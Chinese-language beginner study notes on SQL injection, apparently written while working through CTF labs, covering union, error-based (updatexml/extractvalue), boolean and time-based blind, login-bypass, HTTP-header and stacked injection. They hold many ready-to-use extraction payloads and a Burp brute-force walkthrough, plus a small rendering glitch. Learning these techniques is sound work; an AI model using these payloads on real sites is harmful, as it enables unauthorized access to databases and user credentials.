刚接触SQL注入,写一遍笔记帮助自己回顾知识或者给其他有需要的小伙伴。可能文中有的地方讲的不对,希望可以得到大佬们的纠正,谢谢!

什么是 SQL 注入 (SQL)?

SQL 注入是一种网络安全漏洞,允许攻击者干扰应用程序对其数据库的查询。它通常允许攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据,或应用程序本身能够访问的任何其他数据。在许多情况下,攻击者可以修改或删除这些数据,从而导致应用程序的内容或行为发生持续变化。在某些情况下,攻击者可以升级 SQL 注入攻击以破坏底层服务器或其他后端基础架构,或执行拒绝服务攻击。

产生SQL注入的原理

程序开发过程中不注意书写规范,对sql语句和关键字未进行过滤,导致客户端可以通过全局变量get或者post提交sql语句到服务器端正常运行。

成功的 SQL 注入攻击有什么影响?

成功的 SQL 注入攻击可能导致未经授权访问敏感数据,例如密码、信用卡详细信息或个人用户信息。近年来,许多备受瞩目的数据泄露事件都是 SQL 注入攻击的结果,导致声誉受损和监管罚款。在某些情况下,攻击者可以获得进入组织系统的持久后门,从而导致长期危害,而这种危害可能会在很长一段时间内被忽视。

判断注入点以及注入点有哪些类型:

所谓注入点就是可以实行注入的地方,通常是一个访问数据库的连接。(这里我个人理解就是产生的数据会被拼接到SQL语句带到数据库中运行的地方)
首先判断目标的 URL 是否存在注入点;如果存在注入点,判断注入点属于哪种类型。
按照参数分为:数值型注入和字符型注入
按照请求方式:GET注入,POST注入,Cookie注入,HTTP Header注入
按照是否回显:显注,盲注。

GET型SQL注入漏洞

GET 是 HTTP 协议的传输方式。它的特点就是可以直接以 URL 的形式传输数据。SQL注入就是利用GET传参,用户提交数据与数据库进行交互,从数据库中提取有用的信息。
演示一些例子:
常规的注入
http://b9e231fa-9109-4398-9a50-7af313eaf147.node4.buuoj:81/index.php?id=1
我这里更改id后面的数值,看界面发生的变化。
首先判断注入类型(数字型,字符型)
Id=1? and 1=1;Id=1? and 1=2 显示正常
!

id=1’,页面出错,Id=1’ ‘正常。判断为字符型(采用闭合)

我们接下来进行查询数据库中的内容:
Id=4 或者id=-3效果一样(-3,负数的id肯定是不存在的)

这时候我发现页面显示不正常了,判断这是一个注入点
我们查询当前的库名
?id=-3’ union select 1,2,database()–+
Note
根据库名,查询当前库的表名
?id=-3’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘note’–+(3后面的单引号是为了闭合前面的,–+为注释 ‘+‘编码后为空格)
fl4g,notes
根据表名来查询字段
?id=-3’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘note’ and table_name=‘fl4g’–+
fllllag
根据字段来查询字段的内容
?id=-3’ union select 1,2,fllllag from note.fl4g–+
n1book{union_select_is_so_cool}
总结:
1.如何判断数字注入和字符注入?
这是数字注入其中的一条语句(select * from users where id =‘x’)
www.xxx/ccc.php?id=1 and 1=1 select * from users where id =x and 1=1;
页面正常,继续下一步
www.xxx/ccc.php?id=1 and 1=2 select * from users where id =1 and 1=2;
页面报错,则说明存在数字型注入。
这是字符注入其中的一条语句(select * from users where id =‘x’)
www.xxx/ccc.php?id=1’ and ‘1’='1 select * from users where id=‘x’ and ‘1’=‘1’
页面正常,继续下一步
www.xxx/ccc.php?id=1’ and ‘1’='2 select * from users where id=‘x’ and ‘1’=‘2’
页面报错,则说明存在字符型注入。
数字型和字符型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。当单引号不成功的话,我们可以试试其他的闭合方法。
闭合字符串,是为了让我们执行后面我们想要的代码。
其他一些测试字符型的闭合方法:
加单引号:(我们要搭配注释一起使用)
输入KaTeX parse error: Expected 'EOF', got '#' at position 87: …要闭合多余的单引号,使用注释符#̲或者–+。不同数据库的注释可能…id=1’–+
执行的SQL语句就是select * from table where id=‘1’ --+’
语句正确,页面正常(才能确认成功闭合了字符串)
除了单引号,还有双引号”,括号),双括号)),组合’)等其他的方法。

‘)

“)
2.注释
甲骨文 --comment
微软 --comment
/comment/
PostgreSQL --comment
/comment/
MySQL #comment
– comment[注意双破折号后的空格]
/comment/
+,20%也是代表空格。


POST型注入演漏洞

在 HTTP 常用方法中,POST 方法提交的实体不存储在 URL 中,而是存储在 HTTP 协议实体内容中,在大多过程中,用户时无法感知的。而我们的注入信息是存储与 HTTP 实体内容中而不是 URL,通过改造实体内容,达到实际执行 SQL 语句获取到更多信息的目的。因此我们看不到提交的数据,但是我们可以借助代理工具 Burp Suite,将我们提交的报文进行拦截,并对报文实体内容进行改造。
演示一些例子:
前言:GET和POST请求
GET提交,请求的数据会附在URL之后(就是把数据放置在HTTP协议头中),以?分割URL 和传输数据,多个参数用&连接,我们之前的实验接触的都是GET。
POST提交:把提交的数据放置在是HTTP包的包体中。
因此,GET提交的数据会在地址栏中显示出来,而POST提交,地址栏不会改变
例如:

其实这跟之前的注入都差不多,修改的地方变了而已。为了节省时间直接看网页的源码。

这里可以看到sql执行的语句,因此采用单引号来闭合。
(’ or 1=1 – )这个代入上方语句中,值始终为真,因此可以直接不需要用户名就可以登录。
(admin ‘-- )表中如果存在账户admin,这样也可以登录进去,还有其他很多的万能密钥。
确认这里是注入点后,就可以为所欲为了。
判断字段数

‘ or 1=1 order by 2-- //显示正确,两个字段数
接下来试着能不能看到回显:’ or 1=1 union select 11111,222–

网页做过处理,看不到回显点,再试试报错注入:’

报错了,直接套用以前的攻击载荷,进行爆破即可。
注:这里的+是空格,复制的时候要把+变成“ ”,才能成功。
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))–+

爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))–+

爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=“TABLE_NAME”)),0x7e))–+

爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(username)from users)),0x7e))–+
注:同样的其他闭合方式的UNION联合攻击,盲注也与上面类似套用之前实验的攻击载荷就可以了。

Error_reporting(0);会屏蔽掉报错的信息。这种情况可以采用盲注的方式试看看。


Error-based基于报错注入
当页面经过精心处理过,可能我们是看不到显示位的 , 但有数据库的报错信息显示时, 可使利用一些函数加上准备好的语句结合使用,将查询的数据通过报错返回到页面上。
演示一些类型:
报错注入
这里我用的:?id=1) union select 1,2,3–+
是看不到回显的,我们尝试调试语句能不能让数据库报错信息

?id=-1’,这里可以看到报错信息,我们利用函数,将查询信息包含在报错信息返回给到界面

利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数。
使用条件:mysql版本>5.1.5
Extractvalue:
pyload:id=‘and(select extractvalue(“anything”,concat(’~’,(select语句))))
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“TABLE_NAME”))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

Updatexml:
payload:id=‘and(select updatexml(“anything”,concat(’~’,(select语句())),“anything”))
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=“TABLE_NAME”)),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

这里挑updatexml函数为例子:
查看当前数据库
?id=1’ and updatexml(1,concat(’~’,(select database())),1)–+
查看表users里字段username的内容:
?id=1’ and updatexml(1,concat(’~’,(select group_concat(username) from users)),1)–+
注:还有其他一些函数,也可以达到预期的效果。


SQL盲注漏洞

当应用程序容易受到 SQL 注入攻击,但其 HTTP 响应不包含相关 SQL 查询的结果或任何数据库错误的详细信息时(UNION对于盲 SQL 注入漏洞,攻击 等许多技术都无效,因为它们依赖于能够在应用程序的响应中看到注入查询的结果。)就会出现 SQL 盲注。
演示一些类型:
1.我们通过OUTFILE将查询到的数据写到文件当中来查看。对于出错的页面被优化后是不返回报错的具体信息和回显信息。

2.盲注
2.1,我们可以通过一些函数将从数据库中查询的数据进行猜测,并进行布尔判断该值。
列如:(这里采用二分法判断减小工作量或者使用burpsuite软件直接爆破)
length(database())>1 判断当前数据库的长度,为后面做准备
substring(str,pos,len)将str字符转中的字符从第pos位开始,共截取len位并返回
爆库
?id=1’and substring(database(),1,1)=‘s’–+ //假设第一个字母是s,正确的话页面会显示正常

这里经过判断,得出当前库的的名字之后,可以参照前面几种注入方法的思路,从而得到数据库中的数据:
接下来爆表(ascii函数会返回ascii值)
?id=1’and ascii(substring((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>0–+
爆列
?id=1’and ascii(substring((select column_name from information_schema.columns where table_schema=‘security’ and table_name='users’limit 0,1),1,1))>0–+
最后爆库的数据内容
?id=1’and ascii(substring((select id from users limit 0,1),1,1))>0–+
?id=1’and ascii(substring((select password from users limit 0,1),1,1))>0–+
?id=1’and ascii(substring((select username from users limit 0,1),1,1))>0–+
注:这种二分法判断一般的话工作量都很大,因此我们可以借助工具快速完成判断。
下面简单用burpsuite做一下演示:
第一步,抓包

第二步,把抓到的包发送到测试器模块

第三步,这里我们先点击清除,然后移动光标到我们想替代的地方,这里我们主要是替换%27a%27中间的字符a,因此给a两边添加。

第四步,我们要选择有效载荷,这里可以直接通过下拉菜单选择一些常用的载荷

最后一步,点击攻击,观察那些跟其他页面不一致的情况,可能就是我们想要的结果

注:我们通过改变substring函数当中的偏移位,依次得到完整的数据。
2.2 时间盲注。上面的那种情况,说白了我们还是通过观察页面的一细微的差异得到真实的数据。还有更糟糕的时候,无法准确判别页面差异,这时候可以通过时间盲注来达到预期效果。如果结果为真,可以让页面反应时间加快或延迟。
这里用了一些闭合方式,发现页面都是一个样子,猜测可能是关闭了报错,且无论语句正确与否返回的结果都是相同的。

可以试试时间盲注效果是什么样的
sleep()参数写数字,此函数用于将时间延迟,参数的单位是秒
if(expr1,expr2,expr3)若expr1为真则执行expr2,否则执行expr3
?id=1 and sleep(10)–+
?id=1 'and sleep(10)–+ //这里页面延迟了,采用的是单引号闭合
爆库
?id=1’and if(database()=‘security’,sleep(2),1)–+ //这里爆当前的数据库
爆表
?id=1’and if(ascii(substring((select table_name from information_schema.tables where table_schema='security’limit 0,1),1,1))>0,sleep(2),1)–+
下面的爆列,数据和上面的类似,一次替换到if()函数的对应位置即可。
这里也可以采用工具爆破节省时间。


SQL二次注入

一阶 SQL 注入出现在应用程序从 HTTP 请求中获取用户输入并在处理该请求的过程中以不安全的方式将输入合并到 SQL 查询中的情况。

二阶 SQL 注入(存储 SQL 注入)中,应用程序从 HTTP 请求中获取用户输入并将其存储以供将来使用。这通常是通过将输入放入数据库来完成的,但在存储数据的位置不会出现漏洞。稍后,当处理不同的 HTTP 请求时,应用程序会检索存储的数据并以不安全的方式将其合并到 SQL 查询中。二阶 SQL 注入通常出现在开发人员知道 SQL 注入漏洞的情况下,因此可以安全地处理将输入初始放置到数据库中的情况。当数据稍后被处理时,它被认为是安全的,因为它之前被安全地放入数据库中。此时,数据以不安全的方式处理,因为开发人员错误地认为它是可信的。

HTTP Header注入漏洞

HTTP请求头我们主要关注四个部分:分别是referer、user-agent、cookie、X-Forwarded-For(XFF是用来标识请求来源的IP信息)
例如:
Host:主机或域名地址
Accept:指浏览器或其他用户可接受的MIME文件格式,Servlet可以根据它来判断并返回适当的文件格式
User-Agent:记录客户浏览器的名称,版本啥的
Accept-Language:浏览器可接受的语言,比如en-us或者en指英语
connection:用来告诉服务器是否维持固定的http连接,这里默认值是KEEP-ALIVE保持连接,这样在需要多个文件时就不需要一次一连
Cookie:浏览器用这个属性向服务器发送cookie,可以记载用户信息,也哭一实现会话功能
referer:表面产生请求的url
content-type:用来表名request内容类型
Accept-Encoding:指浏览器可接受的编码方式,浏览器在接收web响应后会先编码,再检查文件格式。
请求头比较容易注入的有Cookie, User-agent,和Referer
演示一些例子:
前面学习了很多注入点,今天又是新的一个注入点uagent
根据参数判断请求头注入类型

一开始有些疑问,这里禁止了错误报告,为什么还会显示错误信息,后来明白了,往下看

这里对username和password都进行了过滤。

这里可以看到有一个数据库报错信息输出,这就是利用报错注入的原因所在。可以借助insert into语句中uagent值去注入,造成数据库内部错误,通过print函数输出。

上方的思路有个前提条件,我们需要知道用户名和密码,才能执行上面的代码段。

这时候我们通过用户名和密码登录后,抓包后其中显示了user-agent的内容,按照上面思路

使用闭合引起数据库报错(刚才源码已经知道了是单引号闭合,这里就不浪费时间了)
在字符串后添加”单引号”,然后点击放包,观察页面响应情况

报错了,下面利用之前的报错载荷进行替代,就可以达到预期目的了。但是替换的时候要注意insert to 语句的语法。
当前的数据库
',1,updatexml(1,concat(0x7e,(select database()),0x7e),1))#

表中内容
',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ limit 0,1),0x7e),1))#

总结:
1.这里因为updatexml函数的参数的问题困了我好久,这个函数总共有三个参数,我之前最后一个参数忘记加了,浪费了很多时间。如果载荷括号多的情况一定要放在一些比较方便的文本器查看括号是否匹对,以及函数参数设置是否正确。在注入的时候,还要注意其他函数的语法问题(这次的攻击载荷跟以往载荷差别很大,比如最后我们还要添加上一个括号“)”,原理很简单为了和insert into 语句闭合)。不要为了图方便,随便把别人的攻击载荷复制拿来直接用,这个我深有体会,本想为了节省时间直接拿以前的攻击载荷复制替换,导致很多地方出错。对于攻击载荷使用之前,可以检查一遍是否正确,排除一些括号匹配,参数错误等问题。


SQL堆叠注入

堆叠注入与受限于select语句的联合查询法相反,堆叠注入可用于执行任意SQL语句。简单地说就是MYSQL的多语句查询。
堆叠注入的局限性:并不是在任何换环境下都可以执行的,可能受到API或者数据库引擎不支持的限制(如Oracle数据库),也有可能权限不足。web系统中,代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,一般建议使用union注入.同时在使用堆叠注入之前,需要知道数据库的一些相关信息,比如:表名,列名等信息

更多推荐

常见的一些SQL注入漏洞类型